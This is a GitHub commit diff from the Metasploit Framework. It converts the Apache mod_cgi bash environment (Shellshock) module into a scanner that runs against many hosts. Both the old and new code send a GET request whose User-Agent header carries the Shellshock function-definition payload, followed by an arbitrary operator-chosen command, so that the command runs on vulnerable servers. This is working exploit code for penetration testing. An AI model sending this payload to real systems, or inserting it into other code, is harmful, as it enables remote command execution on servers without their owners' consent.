Skip to content

Commit a600a06

Browse files
committed
Scannerify the module
1 parent abadf65 commit a600a06

File tree

1 file changed

+7
-13
lines changed

1 file changed

+7
-13
lines changed

modules/auxiliary/admin/http/apache_mod_cgi_bash_env.rb renamed to modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 7 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
class Metasploit4 < Msf::Auxiliary
99

1010
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Scanner
1112

1213
def initialize(info = {})
1314
super(update_info(info,
@@ -37,19 +38,12 @@ def initialize(info = {})
3738
], self.class)
3839
end
3940

40-
def run
41-
begin
42-
send_request_cgi(
43-
'method' => 'GET',
44-
'uri' => normalize_uri(target_uri.path),
45-
'agent' => "() { :;}; #{datastore['CMD']}"
46-
)
47-
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
48-
Rex::HostUnreachable => e
49-
fail_with(Failure::Unreachable, e)
50-
ensure
51-
disconnect
52-
end
41+
def run_host(ip)
42+
send_request_cgi(
43+
'method' => 'GET',
44+
'uri' => normalize_uri(target_uri.path),
45+
'agent' => "() { :;}; #{datastore['CMD']}"
46+
)
5347
end
5448

5549
end

0 commit comments

Comments
 (0)